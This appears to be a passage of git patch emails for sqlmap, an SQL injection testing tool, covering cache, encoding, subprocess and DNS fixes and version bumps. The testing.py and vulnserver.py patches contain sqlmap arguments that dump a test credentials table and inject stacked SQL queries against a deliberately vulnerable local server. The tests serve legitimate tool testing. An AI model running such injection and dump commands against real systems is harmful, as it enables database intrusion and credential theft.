+209,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -e85d35a023d4049a9e69818c9eb37ae96be41252569e101d4157ef2933ea32f1 lib/request/basic.py +7302c38b8b418530a988b0294d09f0a9a08b7b35bc488956fee491a6dd88b2d1 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py diff --git a/lib/core/option.py b/lib/core/option.py index 3a0ef095124..50aeea17df3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2038,7 +2038,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache.addrinfo = {} kb.cache.content = LRUDict(capacity=16) kb.cache.comparison = {} - kb.cache.encoding = {} + kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None kb.cache.hashRegex = None kb.cache.intBoundaries = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e1eab4ac4d3..68ce8df959b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.7" +VERSION = "1.10.1.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 4685eaf4395..3154f30de8c 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -258,7 +258,7 @@ def getHeuristicCharEncoding(page): 'ascii' """ - key = hash(page) + key = (len(page), hash(page)) retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] kb.cache.encoding[key] = retVal From 4af6dad1302a2d42794ea08b31b4f2982b1d354e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 20:54:50 +0100 Subject: [PATCH 010/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/replication.py | 8 +++++--- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 45644a5145e..6cfffd8ad98 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,10 +186,10 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py -73ef0895d728fe76bf9abda94d4b97951069532a088d603a064e793bb2ae45d9 lib/core/replication.py +48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -df6a79b46ff70144251ab69509319bc857b6ec6637f4e79112f2d779cde87c59 lib/core/settings.py +3bad4ec834864c020ac647a034743c7d7d5205ab723fd2e24e5510f3c6c28c24 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py 00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/replication.py b/lib/core/replication.py index b483b75f427..2474e72b52e 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -106,10 +106,12 @@ def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ - _ = 'SELECT * FROM %s' % self.name + query = 'SELECT * FROM "%s"' % self.name if condition: - _ += 'WHERE %s' % condition - return self.execute(_) + query += ' WHERE %s' % condition + + self.execute(query) + return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 68ce8df959b..312877f11e7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.8" +VERSION = "1.10.1.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dc30e60082aac61663867028340eb61a3bdaaa65 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 23:39:28 +0100 Subject: [PATCH 011/135] Minor patches --- data/txt/sha256sums.txt | 6 +++--- lib/core/convert.py | 6 +++++- lib/core/settings.py | 2 +- lib/core/subprocessng.py | 6 +++--- 4 files changed, 12 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6cfffd8ad98..3c6af6e5936 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,7 +170,7 @@ ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527 lib/controller 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py ed02b196398b8351ed6989c8fd8ec2a8244f2f9da6ca7b08691219dcc63422d8 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py -d6e80cecc32601e903aaf5faeb6fd2fe4c6b64a206d7eabb353b7a36e9f2bc46 lib/core/convert.py +a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 421509c42dab738d908f2453cbdd6eb75eb672a7b6de68bee8c95d867fac79f1 lib/core/datatype.py 90070160f9e8f166f9ea69975436fb358eaced6fec8a5947953b2cf050c51434 lib/core/decorators.py @@ -189,9 +189,9 @@ fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3bad4ec834864c020ac647a034743c7d7d5205ab723fd2e24e5510f3c6c28c24 lib/core/settings.py +f8adb87df2456bf8b5807ef4a5940fe349b60e790b870fd9778b26d229162a0c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py -00dc9e87db2c13d7eaf18edd503267430460d91baf76760350be545d4a387a9f lib/core/subprocessng.py +bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py 85b7d6a724536bfcadd317972d4baec291e3813d6773921ee31755046a950a9a lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 5a85955ec29..0b4cddd739e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -295,7 +295,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): except (LookupError, TypeError): encoding = UNICODE_ENCODING - if isinstance(value, six.text_type): + if isinstance(value, bytearray): + return bytes(value) + elif isinstance(value, memoryview): + return value.tobytes() + elif isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: for char in xrange(0xF0000, 0xF00FF + 1): diff --git a/lib/core/settings.py b/lib/core/settings.py index 312877f11e7..4907c449831 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.9" +VERSION = "1.10.1.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 122e6571471..97bac9bb26d 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -75,7 +75,7 @@ def recv(self, maxsize=None): def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) - def send_recv(self, input='', maxsize=None): + def send_recv(self, input=b'', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): @@ -97,7 +97,7 @@ def send(self, input): try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (_, written) = WriteFile(x, input) - except ValueError: + except (ValueError, NameError): return self._close('stdin') except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): @@ -187,7 +187,7 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0): y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) - return b''.join(y) + return b''.join(getBytes(i) for i in y) def send_all(p, data): if not data: From 5864dd4949e1b36ffdc310ba7d9749a98443d082 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 Jan 2026 23:48:50 +0100 Subject: [PATCH 012/135] Minor patching --- data/txt/sha256sums.txt | 4 ++-- lib/core/patch.py | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3c6af6e5936..1046a7585c0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -183,13 +183,13 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py 6576d40a66fa7871d3498c193f4e1e50a9fa9a380005d019c5c2266c1dc31c21 lib/core/option.py -fb0a08ac6f8bb07711e4e895eebf9fb3c8d452cc7aaebcdf78d926cdf051550d lib/core/patch.py +8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f8adb87df2456bf8b5807ef4a5940fe349b60e790b870fd9778b26d229162a0c lib/core/settings.py +c76cfbf08641ce4646cbe39584aa306ba0e5376c05af629eb10cc42b06debab9 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index fff0db98db6..bcd79982ec9 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -101,7 +101,7 @@ def _(self, *args): # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 try: - global collections + import collections if not hasattr(collections, "MutableSet"): import collections.abc collections.MutableSet = collections.abc.MutableSet @@ -139,7 +139,7 @@ def getargspec(func): # Installing "reversible" unicode (decoding) error handler def _reversible(ex): if INVALID_UNICODE_PRIVATE_AREA: - return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) else: return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4907c449831..f69a2b9d3db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.10" +VERSION = "1.10.1.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 69eca5791510ae8c044fd516d0b5a553ef80825e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 Jan 2026 00:31:50 +0100 Subject: [PATCH 013/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/dns.py | 9 +++++++-- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1046a7585c0..de62094c775 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c76cfbf08641ce4646cbe39584aa306ba0e5376c05af629eb10cc42b06debab9 lib/core/settings.py +5a846e74803981103797c260877d85be5cf9941ad1caca30dcc345fa6c68d13a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -9ef303e18311e204727dac71c0ed8b814ab6aa1185f2af0a9703b95e5b3ea6e8 lib/request/dns.py +cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f69a2b9d3db..f890253e743 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.11" +VERSION = "1.10.1.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 8c0ebd9870f..1be54888274 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -89,17 +89,22 @@ def __init__(self): def _check_localhost(self): response = b"" + s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) s.connect(("", 53)) s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com response = s.recv(512) except: pass finally: - if response and b"google" in response: - raise socket.error("another DNS service already running on '0.0.0.0:53'") + if s: + s.close() + + if response and b"google" in response: + raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ From 69a613ef67864dff255bcde4cf8e60a09856a1f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 Jan 2026 17:34:26 +0100 Subject: [PATCH 014/135] Minor improvement --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index de62094c775..56eb50a8de1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -173,7 +173,7 @@ a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compa a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 421509c42dab738d908f2453cbdd6eb75eb672a7b6de68bee8c95d867fac79f1 lib/core/datatype.py -90070160f9e8f166f9ea69975436fb358eaced6fec8a5947953b2cf050c51434 lib/core/decorators.py +35e99a327a357e22dcbcd5229a347102dfc58ff8105b420afdeffc8236a9ecf4 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 86fa0ffa7a3e7a7141eab730e3981faf6f0249125ea9a29a57aaa8b65b7503f9 lib/core/dicts.py 186f0331d66e861a942817a3321156a93a6f66c34a19ce90ec1d10aac8bc1cac lib/core/dump.py @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5a846e74803981103797c260877d85be5cf9941ad1caca30dcc345fa6c68d13a lib/core/settings.py +fbc29e35ddd484f2b8969692337f77bdeb709ff646f08281b69fd5da29062b67 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 27c68472bd2..12b60a64fcc 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -96,7 +96,7 @@ def _(*args, **kwargs): result = f(*args, **kwargs) finally: if len(threadData.valueStack) > originalLevel: - threadData.valueStack = threadData.valueStack[:originalLevel] + del threadData.valueStack[originalLevel:] return result diff --git a/lib/core/settings.py b/lib/core/settings.py index f890253e743..a08e8d0e149 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.12" +VERSION = "1.10.1.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 603295e68d8caaa23d07b90822109d1b107dcc24 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 Jan 2026 20:49:17 +0100 Subject: [PATCH 015/135] Minor update of vulnserver testing --- data/txt/sha256sums.txt | 8 ++++---- extra/vulnserver/vulnserver.py | 13 ++++++++++++- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 5 files changed, 22 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 56eb50a8de1..4ce657d6356 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -11fd73d2a49ae110dff6ee9c28a6703d7573187d639a11a190f699221612b488 extra/vulnserver/vulnserver.py +0389d8b2248c6c03a215c85adbc0c84227bfe1e3f88ec279a89f59e1225138fe extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 460d3da652b8f55c9eaf0f90be33eddf3355355e5c5b1c98b7fc4d83b1c54fda lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py @@ -168,7 +168,7 @@ ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 6da126b359e67f73cea7848d3f35dd0890aece16374d04b60490b85e26bf7224 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py -ed02b196398b8351ed6989c8fd8ec2a8244f2f9da6ca7b08691219dcc63422d8 lib/core/common.py +5c05d5e27b987b47c4c66e4233e3f33eae77cffc8d1b2d90cb5439c9fafd9b7c lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,11 +189,11 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fbc29e35ddd484f2b8969692337f77bdeb709ff646f08281b69fd5da29062b67 lib/core/settings.py +380583d6509ab7552196c03b86bf14910d8f9f1a01400667b5abf123409d913d lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -85b7d6a724536bfcadd317972d4baec291e3813d6773921ee31755046a950a9a lib/core/testing.py +bfe2e998fd43498c8682763d77403d9b44600b4e3fb43b44cfa598c7a8a745c2 lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 9a3981a147d..3ad6c4567aa 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -49,9 +49,20 @@ ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); - INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); + + CREATE TABLE creds ( + user_id INTEGER, + password_hash TEXT, + FOREIGN KEY (user_id) REFERENCES users(id) + ); + INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); + INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); + INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); + INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); + INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); """ LISTEN_ADDRESS = "localhost" diff --git a/lib/core/common.py b/lib/core/common.py index c1a4c836ae1..45604fadcca 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3461,7 +3461,10 @@ def parseSqliteTableSchema(value): columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns - kb.data.cachedColumns[conf.db] = table + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db].update(table) + else: + kb.data.cachedColumns[conf.db] = table return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index a08e8d0e149..1a9c5c02c4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.13" +VERSION = "1.10.1.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 36269f41ed8..305ded0d7af 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -73,7 +73,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), - ("-d \"\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), + ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) From 2e00154e38ffc1552127c14e4bb56c02e8942bfa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 Jan 2026 20:59:40 +0100 Subject: [PATCH 016/135] Fixing thread-safety in getHeuristicCharEncoding --- data/txt/sha256sums.txt | 6 +++--- lib/core/datatype.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 7 +++++-- 4 files changed, 10 